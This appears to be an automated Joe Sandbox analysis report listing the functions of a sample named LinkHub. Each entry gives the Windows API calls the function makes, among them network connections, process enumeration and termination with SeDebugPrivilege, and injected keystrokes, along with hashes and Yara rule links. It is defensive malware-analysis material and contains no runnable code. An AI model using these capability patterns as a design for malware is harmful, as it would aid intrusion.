                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Window$MessageSend$LongShow$DeleteFocusInvalidateObjectRect
                                                                            • String ID:
                                                                            • API String ID: 3210457359-0
                                                                            • Opcode ID: b0ff44d929907713215ef827a762ee86ef5c6542ce3123ce9221d52608414965
                                                                            • Instruction ID: dc6a0048d563f6c7986a9e5ce900515c1e38d0d91e12f07c728e5f9150e42481
                                                                            • Opcode Fuzzy Hash: b0ff44d929907713215ef827a762ee86ef5c6542ce3123ce9221d52608414965
                                                                            • Instruction Fuzzy Hash: 0151E132BC0A09BFEF249F25EC49BD97BA1EB043D8F106012F614BA1E1C771A984DB51
                                                                            Function 00E4CB88 Relevance: 13.6, APIs: 9, Instructions: 95networkCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00E4CBC7
                                                                            • GetLastError.KERNEL32 ref: 00E4CBDA
                                                                            • SetEvent.KERNEL32(?), ref: 00E4CBEE
                                                                              • Part of subcall function 00E4CC98: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00E4CCB7
                                                                              • Part of subcall function 00E4CC98: GetLastError.KERNEL32 ref: 00E4CD67
                                                                              • Part of subcall function 00E4CC98: SetEvent.KERNEL32(?), ref: 00E4CD7B
                                                                              • Part of subcall function 00E4CC98: InternetCloseHandle.WININET(00000000), ref: 00E4CD86
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Internet$ErrorEventLast$CloseConnectHandleOpen
                                                                            • String ID:
                                                                            • API String ID: 337547030-0
                                                                            • Opcode ID: 560367713868622b4ac96ae8478f7d854e4a731f139345d9681aefa1f246d870
                                                                            • Instruction ID: 0b0e13f2ce1a5ca41dea48eb56c3bf46a47a547b3f734498629221e267789496
                                                                            • Opcode Fuzzy Hash: 560367713868622b4ac96ae8478f7d854e4a731f139345d9681aefa1f246d870
                                                                            • Instruction Fuzzy Hash: 3831B071A05701AFCB608F72ED84A67BBF8FF08744B20541DF45AA3610C730E814EB60
                                                                            Function 00E32EEF Relevance: 13.6, APIs: 9, Instructions: 60sleepkeyboardwindowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00E34393: GetWindowThreadProcessId.USER32(?,00000000), ref: 00E343AD
                                                                              • Part of subcall function 00E34393: GetCurrentThreadId.KERNEL32 ref: 00E343B4
                                                                              • Part of subcall function 00E34393: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,00E32F00), ref: 00E343BB
                                                                            • MapVirtualKeyW.USER32(00000025,00000000), ref: 00E32F0A
                                                                            • PostMessageW.USER32(?,00000100,00000025,00000000), ref: 00E32F28
                                                                            • Sleep.KERNEL32(00000000,?,00000100,00000025,00000000), ref: 00E32F2C
                                                                            • MapVirtualKeyW.USER32(00000025,00000000), ref: 00E32F36
                                                                            • PostMessageW.USER32(?,00000100,00000027,00000000), ref: 00E32F4E
                                                                            • Sleep.KERNEL32(00000000,?,00000100,00000027,00000000), ref: 00E32F52
                                                                            • MapVirtualKeyW.USER32(00000025,00000000), ref: 00E32F5C
                                                                            • PostMessageW.USER32(?,00000101,00000027,00000000), ref: 00E32F70
                                                                            • Sleep.KERNEL32(00000000,?,00000101,00000027,00000000,?,00000100,00000027,00000000), ref: 00E32F74
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
                                                                            • String ID:
                                                                            • API String ID: 2014098862-0
                                                                            • Opcode ID: 43f127334c250007f283d0077e4e6e34872cdda04007f38b5e94c0ec073205ab
                                                                            • Instruction ID: 6f4b0c7147bf98fd58a6e15d1d405fd9482088edaa2480debf6b925db3249919
                                                                            • Opcode Fuzzy Hash: 43f127334c250007f283d0077e4e6e34872cdda04007f38b5e94c0ec073205ab
                                                                            • Instruction Fuzzy Hash: 7C01B570B882107BFB106769DC8EF5A3F99DB4EB51F500015F358BF1E0C9E16444CAAA
                                                                            Function 00E32150 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetProcessHeap.KERNEL32(00000008,0000000C,?,00000000,?,00E31D95,?,?,00000000), ref: 00E32159
                                                                            • HeapAlloc.KERNEL32(00000000,?,00E31D95,?,?,00000000), ref: 00E32160
                                                                            • GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00E31D95,?,?,00000000), ref: 00E32175
                                                                            • GetCurrentProcess.KERNEL32(?,00000000,?,00E31D95,?,?,00000000), ref: 00E3217D
                                                                            • DuplicateHandle.KERNEL32(00000000,?,00E31D95,?,?,00000000), ref: 00E32180
                                                                            • GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00E31D95,?,?,00000000), ref: 00E32190
                                                                            • GetCurrentProcess.KERNEL32(00E31D95,00000000,?,00E31D95,?,?,00000000), ref: 00E32198
                                                                            • DuplicateHandle.KERNEL32(00000000,?,00E31D95,?,?,00000000), ref: 00E3219B
                                                                            • CreateThread.KERNEL32(00000000,00000000,00E321C1,00000000,00000000,00000000), ref: 00E321B5
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
                                                                            • String ID:
                                                                            • API String ID: 1957940570-0
                                                                            • Opcode ID: 34e2fc1f5f1c2f60cae3678277ebeb7612693b60fba48bfbd9e5e5b7c579f325
                                                                            • Instruction ID: b620d858371c65e6ede4e733ff67c68c19198eaf7dc9f354eca6ae8a6d93ffd2
                                                                            • Opcode Fuzzy Hash: 34e2fc1f5f1c2f60cae3678277ebeb7612693b60fba48bfbd9e5e5b7c579f325
                                                                            • Instruction Fuzzy Hash: F701BBB5745344BFE710AFA6EC4DF6B7BACEB89751F404411FA05EB2A1CAB19804CB20
                                                                            Function 00E3CE7B Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 191windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00DD41EA: _wcslen.LIBCMT ref: 00DD41EF
                                                                            • GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00E3CF99
                                                                            • _wcslen.LIBCMT ref: 00E3CFE0
                                                                            • SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00E3D047
                                                                            • SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 00E3D075
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: ItemMenu$Info_wcslen$Default
                                                                            • String ID: ,*$0$<*
                                                                            • API String ID: 1227352736-815946194
                                                                            • Opcode ID: cfa30985ead71df01ba9e0486a826667d18b6598c1f13342f7eb0556131acbec
                                                                            • Instruction ID: 360bb217caa5e7cd6488b230f301c1b32e339000a02d6459254e9764e3b993cd
                                                                            • Opcode Fuzzy Hash: cfa30985ead71df01ba9e0486a826667d18b6598c1f13342f7eb0556131acbec
                                                                            • Instruction Fuzzy Hash: FF51C1716083009BD7189F28EC49BAB7FE9EF89718F041A2DF995F3191DB60D905CB62
                                                                            Function 00E5AB3F Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 160COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00E3DD87: CreateToolhelp32Snapshot.KERNEL32 ref: 00E3DDAC
                                                                              • Part of subcall function 00E3DD87: Process32FirstW.KERNEL32(00000000,?), ref: 00E3DDBA
                                                                              • Part of subcall function 00E3DD87: CloseHandle.KERNELBASE(00000000), ref: 00E3DE87
                                                                            • OpenProcess.KERNEL32(00000001,00000000,?), ref: 00E5ABCA
                                                                            • GetLastError.KERNEL32 ref: 00E5ABDD
                                                                            • OpenProcess.KERNEL32(00000001,00000000,?), ref: 00E5AC10
                                                                            • TerminateProcess.KERNEL32(00000000,00000000), ref: 00E5ACC5
                                                                            • GetLastError.KERNEL32(00000000), ref: 00E5ACD0
                                                                            • CloseHandle.KERNEL32(00000000), ref: 00E5AD21
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
                                                                            • String ID: SeDebugPrivilege
                                                                            • API String ID: 2533919879-2896544425
                                                                            • Opcode ID: 884415af51028d3b78aeb3d1decb6ccadeb87eb1888f3190474849f95f5a38ea
                                                                            • Instruction ID: 604bfd2152064270af76ab74cb8bc03f75a71f516c4a54fce53106f8b5dbe74b
                                                                            • Opcode Fuzzy Hash: 884415af51028d3b78aeb3d1decb6ccadeb87eb1888f3190474849f95f5a38ea
                                                                            • Instruction Fuzzy Hash: EF61B0702082419FD320DF15C894F26BBE1AF54309F5889ADE8665F7A3C771EC49CBA2
                                                                            Function 00E64322 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 141windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00E643C1
                                                                            • SendMessageW.USER32(00000000,00001036,00000000,?), ref: 00E643D6
                                                                            • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00E643F0
                                                                            • _wcslen.LIBCMT ref: 00E64435
                                                                            • SendMessageW.USER32(?,00001057,00000000,?), ref: 00E64462
                                                                            • SendMessageW.USER32(?,00001061,?,0000000F), ref: 00E64490
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: MessageSend$Window_wcslen
                                                                            • String ID: SysListView32
                                                                            • API String ID: 2147712094-78025650
                                                                            • Opcode ID: fd7fc42713102c20e1e3e44ce95ed5bb981fff30d682ffb18c3c53229fd683a9
                                                                            • Instruction ID: 904f7b4d1ed71506a41d04d5831456feddf2e8c3bb46b02f5b84355a6ebd7a1d
                                                                            • Opcode Fuzzy Hash: fd7fc42713102c20e1e3e44ce95ed5bb981fff30d682ffb18c3c53229fd683a9
                                                                            • Instruction Fuzzy Hash: 8441D2B1A40309ABDF219F64DC49BEA7BA9FF08394F101126F954F72D1D7749980CB90
                                                                            Function 00E3C625 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 137windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00E3C6C4
                                                                            • IsMenu.USER32(00000000), ref: 00E3C6E4
                                                                            • CreatePopupMenu.USER32 ref: 00E3C71A
                                                                            • GetMenuItemCount.USER32(019953E0), ref: 00E3C76B
                                                                            • InsertMenuItemW.USER32(019953E0,?,00000001,00000030), ref: 00E3C793
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Menu$Item$CountCreateInfoInsertPopup
                                                                            • String ID: 0$2
                                                                            • API String ID: 93392585-3793063076
                                                                            • Opcode ID: deb5445dd5f712754b88b48d3522b7887c16f126e69e0d6a0e4dba9bcbe9051c
                                                                            • Instruction ID: 3a788f1557bbe075d474935d6c619e730a101519656efc0d62bba69b04296dea
                                                                            • Opcode Fuzzy Hash: deb5445dd5f712754b88b48d3522b7887c16f126e69e0d6a0e4dba9bcbe9051c
                                                                            • Instruction Fuzzy Hash: A6517870A002059BDB10CF78D889AAEBFF8AF48318F34911AE912B6291D771D945CF61
                                                                            Function 00E686FC Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 82COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetWindowLongW.USER32(?,000000F0), ref: 00E68740
                                                                            • SetWindowLongW.USER32(00000000,000000F0,?), ref: 00E68765
                                                                            • SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 00E6877D
                                                                            • GetSystemMetrics.USER32(00000004), ref: 00E687A6
                                                                            • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000047,?,?,?,?,?,?,?,00E4C1F2,00000000), ref: 00E687C6
                                                                              • Part of subcall function 00DD249F: GetWindowLongW.USER32(00000000,000000EB), ref: 00DD24B0
                                                                            • GetSystemMetrics.USER32(00000004), ref: 00E687B1
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Window$Long$MetricsSystem
                                                                            • String ID: (
                                                                            • API String ID: 2294984445-2063206799
                                                                            • Opcode ID: 8fba81f2a82f7b1d8b9b581bce2f1bcf7ffc19cb87d7db702806e5b13832ea34
                                                                            • Instruction ID: 1ad452d97220c6d288b7b1da7c10cee0da8d1367a7ec5317427ff9528f06dffc
                                                                            • Opcode Fuzzy Hash: 8fba81f2a82f7b1d8b9b581bce2f1bcf7ffc19cb87d7db702806e5b13832ea34
                                                                            • Instruction Fuzzy Hash: 3F21B071A542419FCB149F39ED08A6B37A5EB853A9F24572EF922F21E0DF70A854CB10
                                                                            Function 00E3E73E Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 70networkCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: CleanupStartup_strcatgethostbynamegethostnameinet_ntoa
                                                                            • String ID: 0.0.0.0
                                                                            • API String ID: 642191829-3771769585
                                                                            • Opcode ID: 3b7f977bf8798acde28da649a1e3074c759e5088432968a47359027c026d5553
                                                                            • Instruction ID: 3f2e4930da8e7670ed97f362539a5fbb9d75f9dc2832fba47cdf711364c288ac
                                                                            • Opcode Fuzzy Hash: 3b7f977bf8798acde28da649a1e3074c759e5088432968a47359027c026d5553
                                                                            • Instruction Fuzzy Hash: 76113631904218BFCB246B20EC4EEEF7BACDF00354F0110A6F601B6191EFB09A85CA70
                                                                            Function 00E3F630 Relevance: 12.1, APIs: 8, Instructions: 137timeCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: _wcslen$LocalTime
                                                                            • String ID:
                                                                            • API String ID: 952045576-0
                                                                            • Opcode ID: 301162ede91a87b9c8e5afe170cc95165062fc27f1f0cb0565860c709c4468e6
                                                                            • Instruction ID: 8e818fd7fc198ca3706b50abc7517b46c5a38d8084e23dce89b08942b13527b4
                                                                            • Opcode Fuzzy Hash: 301162ede91a87b9c8e5afe170cc95165062fc27f1f0cb0565860c709c4468e6
                                                                            • Instruction Fuzzy Hash: 04418365C1111CB5CB11EBB8CC8AADFB7B9EF05310F529462E618E3121FA34D255C3B6
                                                                            Function 00E6379F Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • DeleteObject.GDI32(00000000), ref: 00E637B7
                                                                            • GetDC.USER32(00000000), ref: 00E637BF
                                                                            • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00E637CA
                                                                            • ReleaseDC.USER32(00000000,00000000), ref: 00E637D6
                                                                            • CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 00E63812
                                                                            • SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00E63823
                                                                            • MoveWindow.USER32(?,?,?,?,?,00000000,?,?,00E66504,?,?,000000FF,00000000,?,000000FF,?), ref: 00E6385E
                                                                            • SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00E6387D
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
                                                                            • String ID:
                                                                            • API String ID: 3864802216-0
                                                                            • Opcode ID: 33d1baf8e119995748b55263ba8c3ed4a6b29fdf63a185e93ec7f0fb83e0756b
                                                                            • Instruction ID: b64145a8935e84feb51af49fa23c7b82578951440bdaaf0cc9006ffd0ee37c49
                                                                            • Opcode Fuzzy Hash: 33d1baf8e119995748b55263ba8c3ed4a6b29fdf63a185e93ec7f0fb83e0756b
                                                                            • Instruction Fuzzy Hash: 9631BF72645214BFEB154F51EC89FEB3BA9EF09795F040025FE08AA191C6B59C41C7A0
                                                                            Function 00E55A0B Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 359COMMON
                                                                            Download Yara Rule
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: NULL Pointer assignment$Not an Object type
                                                                            • API String ID: 0-572801152
                                                                            • Opcode ID: 48220368deb7cb9393add9301de4a7d49954ad0670ffdc3ed41d99ad65c54fe3
                                                                            • Instruction ID: 891db35950769a80f1b2dfd8dfb9e162c38b9ab0fbf8e08173b40fe73d645abf
                                                                            • Opcode Fuzzy Hash: 48220368deb7cb9393add9301de4a7d49954ad0670ffdc3ed41d99ad65c54fe3
                                                                            • Instruction Fuzzy Hash: D1D1C072A0070A9FDF10CF68C895AAEB7B5FF48309F149869E915BB280E770DD49CB50
                                                                            Function 00E118A2 Relevance: 10.8, APIs: 7, Instructions: 268COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetCPInfo.KERNEL32(00000000,00000000,?,7FFFFFFF,?,?,00E11B7B,00000000,00000000,?,00000000,?,?,?,?,00000000), ref: 00E1194E
                                                                            • MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000,?,00E11B7B,00000000,00000000,?,00000000,?,?,?,?), ref: 00E119D1
                                                                            • MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00E11B7B,?,00E11B7B,00000000,00000000,?,00000000,?,?,?,?), ref: 00E11A64
                                                                            • MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000,?,00E11B7B,00000000,00000000,?,00000000,?,?,?,?), ref: 00E11A7B
                                                                              • Part of subcall function 00E03B93: RtlAllocateHeap.NTDLL(00000000,?,?,?,00DF0165,?,?,00E411D9,0000FFFF), ref: 00E03BC5
                                                                            • MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,?,00E11B7B,00000000,00000000,?,00000000,?,?,?,?), ref: 00E11AF7
                                                                            • __freea.LIBCMT ref: 00E11B22
                                                                            • __freea.LIBCMT ref: 00E11B2E
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: ByteCharMultiWide$__freea$AllocateHeapInfo
                                                                            • String ID:
